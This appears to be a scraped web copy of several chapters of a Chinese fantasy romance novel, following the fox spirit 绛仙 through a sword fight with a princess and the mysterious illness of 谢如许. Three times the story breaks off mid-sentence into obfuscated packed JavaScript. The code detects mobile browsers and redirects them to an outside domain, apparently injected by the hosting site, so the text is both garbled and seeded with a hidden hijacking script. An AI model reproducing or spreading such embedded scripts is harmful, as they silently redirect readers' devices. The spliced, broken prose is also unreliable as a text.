“同我回府如何?”谢如许道。 “不用,说两清就两清,我可不想欠你的情。”绛仙直接拒绝。 谢如许却道:“不,你若是怕欠我的情,可以付钱,就像住客栈一样。” 绛仙心下一动,觉得这也是个好办法。 “绛仙姑娘,走吗?”谢如许打开了伞,雨水打在伞上,砰、砰、砰,一滴又一滴。 不知滴了多少次,绛仙才点头:“好吧,我付钱。” 谢如许抬手将伞遮在两人头顶,雨水顺着伞骨滑落,连成一条线。 雨水的湿润中夹杂了阵阵的草药的香气,绛仙忍不住开始打量起谢如许来。 衣袂飘飘,如天明明欲曙,身形修长,如高山积雪,玉清雪瘦。 “你究竟想干什么?”绛仙不由问出声。 谢如许轻笑:“总有一天,你会明白的。” “莫名其妙。”绛仙嘟囔一声,然后背起手,以免和对方产生什么不必要的肢体接触。 次日一早,雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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绛仙眼神微微躲闪,佯装随意:“昨天晚上偶然遇到了你哥,他说可以让我留宿一晚,我给钱就行。” 谢如恙佝偻着站了起来,一副不满意自家兄长作为的样子,道:“住一晚而已,怎么能收你钱呢?” 绛仙刚想说是自己要给钱的,谢如恙就一拍脑袋:“昨夜不是下雨了吗?稀里哗啦的,我哥出去干什么?” “不知道,散步吧。”绛仙下意识地给了他一个模糊的答案,但很快就意识到哪里不对劲。 听谢如许的意思,昨夜他是刻意来找自己的,可问题是,他是怎么知道自己的位置的?汴京城这么大,他怎么就刚好能找到自己呢? 妖气?可她身上的妖气没有人能感受的到,她也不认为谢如许就是那个例外,那还有什么? 绛仙心下一沉,不由怀疑谢如许会不会是在自己身上留了什么能确定位置的东西。 想到这里,她对谢如许刚刚建立没多久的一丝信任再一次土崩瓦解。 “阿绛姑娘,你怎么了?”长徽见绛仙脸色有变,关切问道。 绛仙敛眸,语气有些冰冷:“没什么。” “有!”谢如恙猛得一声让其余两人都朝他看去,他担忧道,“昨夜那么冷,我哥身体又不好,淋了雨吹了风生病了怎么办?不行,我得先去看看。长徽兄,今日就先不练了。” 长徽一时无法确定他是真的担心谢如许还是想借着谢如许的名义逃避今日的训练。 “阿绛姑娘也要过去吗?” 绛仙挑眉:“当然要去。” 她倒要看看,这个谢如许葫芦里究竟卖的什么药,以及是不是真的在自己身上留了什么东西。 两人跟着谢如恙还没到谢如许院前,就被一个着急忙慌的小厮截住。 谢如恙差点被扑倒,稳住那小厮的身形后,问:“这是怎么了?急成这样?” 小厮吞了吞口水,看样子是发生了什么不得了的事情。 他压低声音,结巴道:“长公主……长公主殿下来了……” “什么?!”谢如恙惊呼一声,下意识看向绛仙。 绛仙则是心头一跳,看样子该来的还是来了。 14. 疑问 谢如恙抓耳挠腮好半晌才纠结着吩咐小厮带赵袂去前堂,等小厮离开后他才看向绛仙,连连询问:“你昨夜干什么了?长公主怎么都找上门来了?” “也没什么,就是拿回了那只狐妖的妖丹,顺手……”她低下头看了一眼腰间挂着的红色锦袋,“帮他们清理了一些翦星楼的东西。” “什么!?”谢如恙先是呼吸一滞,旋即开始抱着脑袋原地转圈,嘴里不停喊着,“完了完了完了,你怎么就偷到翦星楼里去了?现在长公主找过来了,我们都完了!” 绛仙看他这没头苍蝇的模样,平静道:“我只是在这儿借住,和你们没关系,着什么急?有什么事我担着。” “可是……”谢如恙欲言又止,弱弱地道,“我也不能眼睁睁看着你出事啊……” “我会出事?可能吗?”绛仙一甩袖子,利落地往前堂走去,谢如恙赶忙拉着长徽跟上,帮她出着主意。 “一会儿我们过去了,你先别说话,让我来,我们动之以情晓之以理,长公主不是斤斤计较的人,她一定会原谅我们的!” “实在不行,你就低头道个歉,就算要罚也罚不了多大!” 绛仙猛得停下,谢如恙一头撞在她背上,连带着身后的长徽也一个踉跄。 她转头,傲然道:“道歉?我绝不!” 笑话,没理她都不见得道歉,更何况有理了!让她低头道歉?做梦! 谢如恙心中悲戚,只能退一步想着一会儿绛仙要出手的时候能拉着点就拉着点。 谢如恙一手扯着绛仙的衣摆一手牵着长徽的手臂。三人连成一串儿进入前堂的时候赵袂正坐在堂中小口啜饮着茶。 这茶是谢如恙特意吩咐小厮煮的清茶,希望能帮她降降火气,只是现在看她这样子似乎并没有生气。 谢如恙想抢先一步开口,但刚刚站在绛仙身前就被她一把推至一边,只能凄凄切切地咬唇当个看客。 长徽见此也退至一边,安慰般伸手拍了拍谢如恙的肩膀。 “昨夜事出突然未能正式见过绛仙姑娘,今日特来拜会,在下姓赵,单名一个袂字,衣袂的袂。”赵袂今日只穿了一件素衣,发髻也是松松挽起,看样子是来私访的。 绛仙站在对面,理所应当地受了她这一拜,丝毫没有觉得自己受不起。 “既然是来找我的,那我们就找个地方单独谈,不要扯到某些无关人士身上。” 绛仙声音淡漠,赵袂八面玲珑,自然听出了她话中的意思,便直起身对着谢如恙二人微微颔首,而后向她解释道:“绛仙姑娘误会了,我此番前来并非问罪,而是想同你做一笔交易。” 闻言,谢如恙才长长的松了口气,精神抖擞地招呼着:“这就好这就好,大家都是朋友,没必要针锋相对的。既然是交易,那我们就坐下说,成儿,看座上壶茶!” 成儿还没来得及回应就被绛仙一眼瞪了回去,“我说同意了吗?” 赵袂道:“报酬可以商量。” “和报酬没关系。” “那绛仙姑娘的意思是?” 赵袂看着她,仿佛对她很是感兴趣。 “交易成不成,全看我的心情,我现在心情很不好,所以……这笔交易我不做。”说完,绛仙又哦一声,直白补充道,“不对,是你的交易,我不做。” 此话一处,谢如恙顿时倒吸一口凉气,连带着堂中的气氛都降至最低点。此时此刻,就算是落下一根针都能振聋发聩。 赵袂此时也意识到了绛仙的态度,片刻后露出一个轻轻的笑容,道:“绛仙姑娘果真同传闻中一般,性情多变,既如此那此事便作罢。不过,还请绛仙姑娘将昨夜从翦星楼所取之物交还与我。” 赵袂的手在绛仙面前展开,手指修长指节分明,虎口处还带着点点薄茧。 绛仙置若罔闻,微一歪头,薄唇轻启:“我不。” “不问自取乃是偷盗,我想绛仙姑娘定不是作奸犯科之人,还请归还。”赵袂面上没有半点怒意,只是静静地看着绛仙,却给人一种不怒自威之感。 “少拿‘我认为’这种话来绑我,我是什么样的人只有我说了算。我说不给,就不给。”绛仙负手站立,丝毫不惧地对上赵袂的视线。 两人视线中暗流涌动,针锋相对,又旗鼓相当。 一旁的谢如恙几乎要把嘴皮给咬破了,想上去拉架却又不敢。绛仙?大年夜晚上的猪一样,他根本就拉不住,搞不好还要把自己给搭上。赵袂?她脸上可没有半点生气的意思,此时上去劝架拉架,岂不是暗指她心胸狭窄吗?退一万步讲,赵袂身份在那里,他也不敢去碰啊! 就在谢如恙束手无策之际,绛仙又添了一把火:“就算要讲理,那也是你不讲理在先,你能抢,我就不能偷了?” 绛仙倒是完全不在意把“偷”这个字说出口。只要是她做的,她就认,是大是小,是对是错,她都愿意认。但这个“抢”字可是完完全全把赵袂给钉在了耻辱柱上,毕竟身为皇室要员,和作奸犯科一类的事情扯上关系,无异于给整个皇室抹黑。 赵袂沉默许久才看向谢如恙,对他道:“谢二公子能否行个方便,请在场诸位回避。” 谢如恙吞了吞口水,心想这两人不会是要打起来了吧?但他不敢问,只能点头应是,迅速遣散了周围的丫鬟小厮。 “那我……我……”谢如恙指指自己又指指身边的长徽。 赵袂敛眸道:“二位若是想留那便留吧,只是接下来我要说的事情你们一定不能外传。” 谢如恙的背一下子挺直,人也认真了起来,郑重道:“放心吧殿下,我嘴很严的,一定保密!” 长徽也点头,“多谢信任。” “秘密?我不听。”绛仙说完就要走,却被赵袂伸手拉住。 “绛仙姑娘且听我一言,若是我说完之后你还不愿相助,那我便就此别过了。”赵袂以退为进,想着先把绛仙留下再说。 绛仙看了一眼搭在自己腕上的手,又看看身边疯狂点头,如同小鸡啄米一样的谢如恙,只好回过身,开门见山道:“你是说你那个皇帝弟弟?” 赵袂一怔:“你怎么……” “昨夜夜探皇宫,刚刚好就看到了你和你那位弟弟。”绛仙抽出手,好整以暇地看着她,“你弟弟的药,是用妖丹炼的吧?你想用通缉令引我出来也是因为要用妖丹炼药吧?” 昨夜虽然隔了一段距离绛仙也能清楚的感受到那碗汤药中的妖气,那妖气与翦星楼的妖气几乎一模一样,自古以来用妖丹炼药试图长生不老无病无灾的人不计其数,绛仙怎么可能想不到? 但这种旁门左道许多的正人君子都不齿,认为这是以妖物的命换自己的命,暂且不提对妖物残忍有违仁义之道,就单单是对妖的偏见和鄙夷就不允许他们和妖物沾上关系。 “如果你要说的就是这些,那我可以很明确地告诉你。”绛仙露出一个笑,一字一顿道,“与我无关。” “那绛仙姑娘就是不愿归还了?”赵袂蹙起眉来,放在身侧的手暗暗蜷起。 “我说得很明白了。” 感受到对方的杀意,被藏在袖中的玉剑开始微微的颤抖,像是兴奋又像是害怕。 赵袂垂眸:“既如此,那便得罪了。” 下一瞬,玉剑自绛仙袖中飞出,直直朝着赵袂刺去。 谢如恙惊呼一声,好在赵袂身形敏捷,侧身躲了那一剑,可那剑好像有意识一般迅速地转了方向,再次冲着赵袂去。 赵袂眼疾手快,迅速拉住绛仙的胳膊将她挡在自己身前,玉剑正好回到绛仙手中。 绛仙没想要她的命,没有用妖力催动玉剑,出手也不算太重,再加上赵袂身手不差,两人就这么一来一去的僵持着,从堂内打到堂外,甚至将远在后堂的谢如许都引了过来。 看到谢如许,谢如恙赶忙上前护住他,道:“哥,你先别过去,那剑好像不太讲理,小心误伤!” 谢如许被弟弟拦在身后,脸色不甚好看。 打斗间,绛仙忽然感到手中的剑开始微微颤抖,挥出的招式也带上的杀意。她心下一沉,她根本就没有用妖力,为何会这样? 她聚气凝神想要稳住剑,却没想到这剑竟自己带着她往前冲。 不对! 她顿觉不妙,在这之前这剑温顺得像只兔子,从来没有脱离她的控制过。可今日怎的…… 还没等她想通这是为什么,带着浓浓戾气的一剑就冲着赵袂劈了过去。 她霎时睁大了眼睛,一句“躲开”还没来得及喊出口就听到铮的一声巨响,剑好像被什么东西给截住了。 很快一阵麻意传遍了握剑的那条手臂,让她一阵牙酸,但好在这剑控制住了。 “绛仙姑娘,你此举实在不妥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850697|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽你二人之间有些摩擦,你也不能这般草菅人命。”长徽反握着琼英剑挡在胸前,看向绛仙的眼神中满是不解。 也不怪他误会,如果他刚刚没有挡下这一剑,那此时赵袂就被劈成两半了。 绛仙没想着解释,只是看着剑,有些愣神。 虽说剑随心动,但她方才真的没有想过要杀人,怎么会发生这样的事情? 虽然心中疑惑,绛仙嘴上还是不愿吃亏,反驳道:“那你怎么不看看是谁先动的手?” 谢如恙似乎也有些看不下去了,上前几步道:“可殿下动手也只是为了拿回翦星楼的东西啊,你直接要提剑杀她,未免有些太过分了吧?” 绛仙向来是吃软不吃硬的,这剑发疯本就让她一阵烦躁,这三人又偏偏和她对着干。 怒上心头,她握着剑的手逐渐收紧,目光在对面三人的脸上转了一圈,随后轻笑出声:“过分?没有她一开始半路截走妖丹我会出手吗?” “那你也不能……”谢如恙想要反驳,却被绛仙打断。 她反问:“不能怎么样?我告诉你,在我这儿就没什么不能的!我看谁不爽我就杀谁,你要是再敢多说一句我连你一起砍!” “阿绛你先冷静,我……” “冷静?谢如恙,你真以为你身上有我要的东西我就不敢杀你吗?我今天就要看看,你肚子里的东西我刨不刨的出来!” 绛仙身后的发带飘起,像是两道鲜红的血痕。 谢如恙这才意识到绛仙是真的生气了,他在原地一时束手无策,赵袂却伸手将他护在身后。 “绛仙姑娘,你我二人之间的事情不要牵扯他人。” 假仁假义! 绛仙将手中的剑握得更紧,咬牙道:“不牵扯其他人?我偏不!” 话音落下,绛仙提剑而上。剑气带起一阵凌冽的寒风,每一缕风都如同高山上的冰棱一般往三人身上刺去。 谢如恙看着像赵袂袭来的剑锋,心下一紧,随后咬牙护在赵袂身前,但因为害怕死死闭着眼。 此刻他只有一个念头:赵袂绝对不能在这里出事,一点都不可以! 可是时间过去了很久,谢如恙想象中的疼痛都没有出现。 他猛一睁眼,竟看到一抹碧色身影正正挡在自己身前。 玉剑停住了,停在谢如许面前三寸处。 绛仙似乎还没有回过神来,神情有些恍惚。 谢如恙突然一声惊叫: “哥!” 原本还稳稳站着的谢如许猛得吐出一大口鲜血,溅在绛仙的衣摆上,留下一片暗红,惊得她往后退了几步。 谢如恙赶忙抱着兄长,惊恐道:“哥,你怎么了哥?你别吓我!” 谢如许伸手擦了擦自己唇边的血迹,声音有些沙哑:“没事,我……” 安抚和解释的话还没说完,他又突然一哽,再次吐出一大口血。 随后,他用力的吞咽的几次,将口中的血吞下去,才开口道:“没事的,我自己缓一会儿。”他抬眼看向面前握着剑发愣的绛仙,解释道,“此事与你无关,没事的,没事……” 话刚说完,他的身体就开始脱力,只能扶着谢如恙慢慢地蹲在地上,扶住地面,想要缓一缓。 他用力地眨了几次眼后,两行血泪竟缓缓从眼眶中流出。 谢如恙见状整个人都僵住了,沾上鲜血的双手不停颤抖,一时不知道该干什么。 突然的变故让在场的所有人都愣住了,最后还是长徽率先反应过来,上前扶住谢如许,握着他的手腕为他输送灵力,赵袂也赶忙上前查看,为谢如许唤来大夫。 绛仙握着剑退至四人几米之外,感受着剑身微微的颤动,脸上少见的显出空白。 方才她根本没想过要停下!可是在谢如许挡上前的时候这剑却好像是被什么人控制了一般,硬生生带着她停了下来。 她低下头,仔细观察,好像自从她来到汴京后,这把剑就变得越来越奇怪,究竟是为什么?是因为汴京,还是…… 半晌,她闭了闭眼,看向被众人簇拥着的谢如许,目光深邃。 还是因为,谢如许? 几人招呼着将谢如许带走后,绛仙才缓缓往前迈了一步。 头顶,那棵梧桐树因为方才的变故微微震颤着,一片树叶晃晃悠悠落下,在阳光之下显得是那般恍惚。 15. 牵手 恍惚间,谢如许眼前似乎变成了白茫茫一片,好像正身处在一片混沌之中,但当一阵熟悉的寒意透过肌肤直达骨血时,他意识到这里不是混沌,是昆仑。 昆仑,他阔别已久的故乡,那时他的魂魄与肉身还在,他还不用附在他人身上苟且偷生,那时,他还叫桑迟。 桑迟,传说中以天地灵气所化的昆仑神君,千年万年枯守昆仑。 直到那一日,他在茫茫白雪中看到一个身影,是一位少女,是除他以外这山上的又一个生灵。她一袭蓝衣,如同天将欲曙。 她因为太过寒冷不停地搓着自己的双臂,试图为自己取暖,她用难忍颤抖的声音说:“我叫绛仙。” 谢如许不知道自己为什么会出现在这里,不知道为什么会再一次回到和绛仙初遇的时候,此时此刻他只知道,自己要抓住她,不能让她再离开了,千年万年的等待,他受够了。 可是当他冲上前想要抱住绛仙时,她却化作了点点的白光,消失在他眼前。 视线再次被无尽的雪占据,他的心也像是被埋进了深雪之中。 他不要一个人了,他不要再回到一个人了,哪怕是丢掉身份,丢掉肉.体去当一个占据别人躯壳的小偷,他再也不要一个人了! …… 此时,谢府的院落之中,暮檐凉薄,风吹树影动。 绛仙坐在石桌旁,沉默地看着杯中的落叶,烦躁地啧了一声。 随后将杯中茶水连带着落叶一起泼出去,用力地把茶杯往桌上一搁,发出“碦”的一声。 她抽出玉剑用力地甩了几下,近乎凶狠地盯着它,好像是在看一个不听话的孩子。 那白日又是怎么回事?她肯定问题没有出在自己的身上,毕竟再怎么样她也不会连一把剑都控制不住。 那问题出在哪儿? 蓦地,谢如许七窍流血的模样出现在她脑中,让她更加心烦意乱,他闲着没事上来挡什么挡?她又不是真的会杀了谢如恙,当就挡了,还莫名其妙受那么重的伤,她根本就没伤到他好吗! 可是,他为什么会受伤?当时她可是看得清清楚楚,那剑根本就没有刺到他,若是说剑气,那为什么和他站在一起的谢如恙没事,他却伤得那般重? 念此,绛仙心中不由猜测:难道他是装的? 仔细一想,这个猜测也不难成立。毕竟谢如许可不是真的“病弱公子”,单凭被她箍住手腕还能面不改色一点就可以说明。 越想,绛仙就越发笃定这个猜测。 可是,他为什么要装? 脑中的思绪越理越乱,绛仙干脆站起身,收起剑,打算去好好会会这位“弱柳扶风”的病公子。 可她刚刚走到院前,便看到谢如恙坐在屋前的台阶上,抱着脑袋不知道在想什么。直到她走到了面前才慢吞吞地抬起头。 他哭了好长时间,又低头太久,视线都有些模糊了。 眨了好几次眼才看清了来人。 “你……” 绛仙话刚出口,就见谢如恙用力地一扭头,不愿看她,“我把你当朋友,你却提剑杀我,还伤了我哥,我不想理你。” “那你还和我说话?”绛仙挑眉。 谢如恙猛吸鼻子,闷声道:“就这一次。” 绛仙却道:“两次了。” 谢如恙愣了一下,反应过来自己找了绛仙的道后鼻头更酸了:“你不要和我说话了,我现在很生气,你让我安静一会儿!” 这话说得委屈又可怜,绛仙一时有些不忍,暗暗侧了侧头后问:“长徽呢?他怎么不在这儿?” 沉默半晌,谢如恙才哽咽着答道:“他和殿下走了,说是要去找明璟打探他兄长的下落。” “明璟?”绛仙又问。 谢如恙虽然嘴上说着自己生气不要和绛仙说话了,却还是不情不愿地回答:“就是那天腰上挂铜板的,他是国师一手教导的弟子,上知天文下知地理,观星问卦无一不精,说不准他能知道长徽的兄长在哪里。” 绛仙点点头:“哦,神棍。” “不是,他很厉害的!”谢如恙张了张口想要替好友辩解,可对上绛仙带着点点笑意的眼后却闭上了嘴,“我不和你说话。” 绛仙见他不愿意看自己,便蹲下身来,试探道:“真的?” 谢如恙紧抿着唇,将头扭至一边。 绛仙也跟着他歪头:“真的不说话了?” 谢如恙又换了一边。 “真生气啦?”绛仙继续跟上。 两人你来我往好几个轮回,绛仙才佯装不耐地站起身来,拍拍手上不存在的灰尘,长叹一口气:“既然如此,那我就走了。可惜啊,没有人能救你哥咯……” 说着,绛仙就要走,谢如恙赶忙扯住她的衣摆,欣喜道:“你真的能救我哥?!” 绛仙轻轻把自己的衣摆拽回来,学着谢如恙方才的样子,道:“我不和你说话。” 谢如恙几乎是蹦起来的,顾不得身上沾着的土,张开双臂挡在绛仙面前,道:“对不起对不起,阿绛我不生气了,求求你了救救我哥!” 绛仙抱起手臂,“我本来是想救的,可是……唉!”她夸张地叹了口气,一边摇头一边闭上了眼。 谢如恙抽汲几声,想到兄长不省人事的样子,眼眶里又盈出泪水,鼻头酸胀,就连说话都有些模糊不清:“我哥本来身体就不好十七岁那年生了重病,昏迷了好几个月,大夫都说他活不了一个月,我找了好多名医草药才把他给救回来,今天又是吐血又是晕倒的……” 说到这里,他终于还是忍不住哇哇大哭起来:“没有我哥我该怎么办啊,我只有我哥了,我不想让他出事……” 绛仙浑身一个激灵,也没心思再逗他玩了,叫停:“行了行了,我帮你,别哭了。” 谢如恙的哭声戛然而止,看向绛仙的眼神中带了些怀疑:“真的?” 绛仙无奈点头:“真的,但要是你再哭,我就不救了。” 谢如恙伸手在脸上重重地抹了一把,娇嫩的皮肤瞬间就留下了几道红印。他吸吸鼻子:“不哭了,你救我哥我就不哭了。” 谢如恙推开门,两人轻手轻脚地来到谢如许的床前。绛仙低头看了看躺在床上的谢如许,面色如纸,双目紧闭,甚至还没碰到就能感受到一股从内而外散发出的冷气。 好像在雪堆里被埋了几百年一样,看起来不像是在装…… 谢如恙小心翼翼地问:“真的能救?” 绛仙瞥他一眼,“不相信我?” 谢如恙点头如捣蒜:“相信相信。” 绛仙伸手搭上他的肩膀,唇边带着丝丝笑意,很是胸有成竹:“既然相信那就出去,明日破晓前不要让任何人进来,否则出了什么问题,你哭也没有用了。” 谢如恙点着头连连道是。 等谢如恙关上门离开,绛仙又往前走了几步,坐在谢如许的床边,却不知从何下手。 杀人容易救人难,她又不会医术,要不是不想看谢如恙那副鬼样子,她也不会撒谎说自己能救。 现在话说出去了,人却救不了,她又要怎么向谢如恙交代? 绛仙有些无奈,只能撑着下巴,凑近了去观察谢如许。 他身上让她最难忽略的就是那双眼睛,只可惜此时他双眼紧闭,就算是眼里有再多的东西也没人能看到了。 除开那双眼睛,这人还真像是个大户人家的长公子,正派、俊秀。虽然这相貌身形在常人看来都是天之骄子,但在绛仙看来却有些说不出的普通,丢进人群里她都不会看一眼的普通。 她就这么百无聊赖地看着,不知过了多久,袖中却忽然传来一阵震动。 她下意识地以为是那把蠢剑在动,随手往剑上拍了一把,让它安稳些,可没想到那震动还未停止。 这时,她才发现一丝不对。 好像,不是剑在动! 她直起身诧异地甩了甩袖子,一颗光滑圆润的珠子从袖口骨碌碌滚了出来,摔在床上发出一声闷响。 这是……妖丹?! 白日里谢如许晕倒后赵袂很是迅速地从宫中唤来了御医,等安顿好后她又来找了绛仙。 那时的绛仙脑子里很乱,也懒得再和她扯东扯西,随手将腰间装妖丹的袋子丢给她后就转身离开了。 按理说这颗妖丹也该被赵袂拿走了才是,为什么又出现在这里? 绛仙捡起妖丹仔细看了看,确认这是那只狐妖的妖丹后愣了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850698|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你追我抢好半天,最后还不是各拿各的?这狐妖的妖丹又回到了她手上。 绛仙正想把妖丹收起来,却感到指尖传来一阵滚烫,她蹙起眉盯着妖丹,看到上面突然出现了一个发着光的小白点。 小白点在她的注视下开始移动,点连成线,线覆盖了面,最后竟是如银河瀑布一般自妖丹中倾泻而出。 这光明亮却不刺眼,在昏暗的房间中显得格外好看。 绛仙一时呆住了。 那“银河”缓缓流淌,拂过她手背时还带着丝丝凉意,像是不刺骨的雪水,最后流向了谢如许,在他身边萦绕许久才幽幽散开。 过了好一会儿,绛仙才回过神来去看谢如许,这才发现他的脸色已然好转,没有方才那般苍白了。 绛仙有些不可置信:这就,救活了? 这狐妖难不成还会医术? 她把那颗妖丹抛了抛,心想之前她不会医术,受了伤什么的都是一个“拖”字诀,现在有了这颗妖丹,她岂不是就能及时疗伤了? 如此一来,她不就是全能了?这颗妖丹还真没找错! 黯淡的妖丹被她越看越顺眼,恨不得亲上几口。 带着欣喜,她又凑上前去看谢如许,想着看看这妖丹疗伤的功力有几成,未曾想刚刚低头便对上了一双朦胧的眼。 “绛仙姑娘,你这是……”谢如许眸中带笑,声音有些沙哑。 细长的发带随着绛仙低头的动作拂过他的侧脸,带了些她发间的香气,又带来几分痒意。 发带的颜色是鲜红色,就如同她这个人一样,明艳、张扬。 谢如许眸中笑意更深,纤长地食指轻轻挑起发带,语气温柔又缱绻:“既以绛为名,为何这发带却是赤红色?” 绛仙恶狠狠把发带抽回来,没好气道:“要你管!” 她直起身,双颊有些微微发烫。 谢如许也缓缓从榻上坐起来,看着绛仙,问:“绛仙姑娘可是因为担心我才来此守着我的?” 绛仙收起妖丹,语气格外的冲:“对,关心你,来看你死没死。真遗憾,你活了,那我就先走了。” 说罢,她转身就要走,谢如许起身跟上,叫住她:“留步。” 绛仙回过头,眼神凶狠,威胁道:“你要是再跟一步就别怪我让你再感受一遍七窍流血的滋味!” 说到白日发生的事情,谢如许停顿了片刻。 绛仙以为他是怕了,正要走却又听他道:“你有同阿恙他们解释吗?” “解释什么?”绛仙有些不耐烦。 谢如许缓缓行至她身边,认真道:“我受伤,与你无关。以及……”他顿了一下,与绛仙对视一瞬后又很快垂下眸子,“你本是没有想过要伤长公主,也没想过要伤他。” “你……”绛仙先是一愣,诧异他为什么会知晓自己的想法,很快反应过来后,道,“谁说我不想伤他们了?一个强词夺理一个纠缠不休,我不把他们碎尸万段就算仁至义尽了,怎么可能……” 话没说完,绛仙就感到手背一热。 ——谢如许竟然牵上了她的手! 他的手掌有些凉意,牵着她手的动作却格外的郑重。 “绛仙姑娘,我相信你不会草菅人命。”他语气极为认真,与绛仙对视的那一瞬眼中闪过一丝笑意。 绛仙忽然想起来,每次见到谢如许的时候他总是笑着的。 “既你不愿,那便由我来替你解释吧。” 说罢,谢如许推开门,牵着绛仙大步往谢如恙的院子走去。 被屋外的风一吹,绛仙这才回过神来,她挣扎喊道:“你这人有病吧?谁要你替我解释?再说了我有什么好解释的?你放手,放手!” 可不知道这人用了多大的劲,他挣扎许久都没能脱离“魔掌”。 情急之下只好喊一声:“双月!” 袖中的剑没有动静,谢如许却闻声停了下来,他回头,轻声询问:“那把剑,叫双月?” 绛仙这才从他手中挣脱开来,怒骂几声后一口气冲回了自己的院子,打了好大一盆水洗手,直到手背变得红肿破皮才停下来。 她看着自己的手,咬起牙关:“真是……岂有此理!” 16. 汤药 岂有此理! 绛仙愤闷许久,想不通这谢如许究竟是何方人士。 这蠢剑也是,需要的时候怎么就叫不动,不需要的时候非要动! 忽得,谢如恙先前说过的话浮现在她脑海中:谢如许十七岁时,曾生过一场大病,还昏迷了好几个月。会不会是在那场重病期间发生了什么? 之前她还想着多一事不如少一事,谢如许是个什么东西都和她无关,但现在却有所不同。 她总觉得谢如许对她的事情格外关注,她却不知原因,这就很让人头疼了。 如今到真是激起了她的好奇心,她非得搞清楚谢如许的身份,接近她究竟有什么目的,是敌是友。 可是她对谢如许乃至谢家的了解都甚是浅显,硬要想也想不出什么东西来。百思不得其解半晌后,她只好暂且将这个疑惑搁置,打算过些日子去问问谢如恙。 就谢如恙那种一出生就倒欠八百个心眼子的人,想必向他打探消息也是手到擒来。 随后,她长舒一口气,从袖中拿出妖丹,细细观察一番。 一个问题解决了,那就该下一个问题了。 这狐妖的妖丹为何能救人,又为何会救谢如许?可看了半晌,她还是没能看出什么所以然来。 虽说妖丹是妖的毕生修为所结,但她好像从未听说过有什么妖的妖丹不用炼制就能救人性命的。更何况狐妖不是什么鲜见的妖怪,她也未曾得知过狐妖的妖丹与其他妖的妖丹有什么不同。 之后,她又试着用妖力催动它,却还是没有什么反应。 绛仙奇了:难道这狐妖只救谢如许? 这时,她突然想起了那位在狐妖记忆中一闪而过的蓝衣人。 难道那人真的是谢如许?这狐妖和谢如许之间有什么关系? 想着,她用手紧紧握住妖丹,闭上眼,思绪凝结,想从这妖丹内挖掘出狐妖的记忆,说不准会有什么线索。 很快,狐妖的记忆就传入她脑海中。可万物清晰,唯独那位蓝衣人的身影格外模糊。 绛仙不由蹙眉,画面里的狐妖言笑晏晏,与那蓝衣人交谈,说些什么从哪里来,要往哪里去。 还说什么昆仑山、昆仑玉…… “昆仑玉”这东西她在长徽那里听到过,看样子是和那支玉桂有着同样地位的宝物,长徽好像也是从昆仑山而来的。 难道这蓝衣人也是从昆仑来的?绛仙想不通,只好转个方向,打算从狐妖的其他记忆中寻找线索。 可看了好半晌,她才惊觉:这狐妖的记忆里全部都是那位蓝衣人! 众所周知,能从妖丹中感知到的记忆都是此妖一生中最为在意最为重要的记忆。 对那只狐妖来说最重要的记忆竟然都与那位蓝衣人有关!那人教她医术,为她簪花,一同吃饭、一同外出,甚至还一同……沐浴! 看到狐妖娉婷袅娜地走进屏风,绛仙猛得睁开眼睛,深呼吸几口,暗道一声:流氓! 静下心来后,她又一次陷入了沉思: 如果这蓝衣人真的是谢如许的话,那这狐妖救他似乎也是正常。 难道又是什么人妖相恋又不能善终的爱情故事?那刚刚谢如许牵她的手算什么? 想到这里,绛仙心底泛出一阵恶寒。 剑的异常和狐妖妖丹救人,这两件事说是两个问题,可最后又归结到了同一个人身上。 ——谢如许。 他究竟是什么人?有什么目的? …… 翌日一早,绛仙是被谢如恙的敲门声给吵醒的。 昨夜来来回回做了好几个莫名其妙的梦,睡得不甚愉快,一大早上的又被吵醒,绛仙的愤怒几乎到了顶峰。 她推开门,冷眼看着谢如恙,问:“干什么?” 谢如恙摸了摸鼻子,有些扭捏地道:“我是来给你道歉,和道谢的。” 绛仙一头雾水,不知道他一大早上的搞什么东西,语气有些不耐烦:“莫名其妙道什么歉?没事我回去睡觉了。” 她刚要关门,谢如恙却泥鳅似的挤了进来。他哂笑道:“谢谢你昨天救了我哥!还有,我昨天误会你了,所以我今天来给你道歉。”说罢,他十分郑重地鞠了一躬,道,“对不起,我昨天没有看清楚,以为我哥受伤是因为你,和你说了些气话。” 如此郑重且直白的道歉使得绛仙嘴角抽了抽,反问:“你哥告诉你的?” “对啊,我哥一早就来找我,向我解释了昨日的事情。” “那你有没有问他,他为什么会受伤?”绛仙眯起眼。 谢如恙道:“我哥说是他那晚外出着凉染了风寒,所以才伤得这般重的。” 绛仙嘴角一抽:“你信啊?” 谢如恙点头:“当然。我哥身体本来就和常人不一样。” 绛仙搭上他的肩膀,问:“你就不觉得,你哥有事瞒着你?” 谢如恙却道:“每个人都有一些小秘密,他不说,我就不问。”说完,他又话锋一转,认真道,“虽然我和你道歉了,但我还是想说,昨日殿下是真的想和你好好商量的,你的态度是不是有些太差了?而且偷盗本就不好,你下次可千万不能这么做了。” 绛仙收回了手,一挑眉:“她能抢我就不能偷了?” 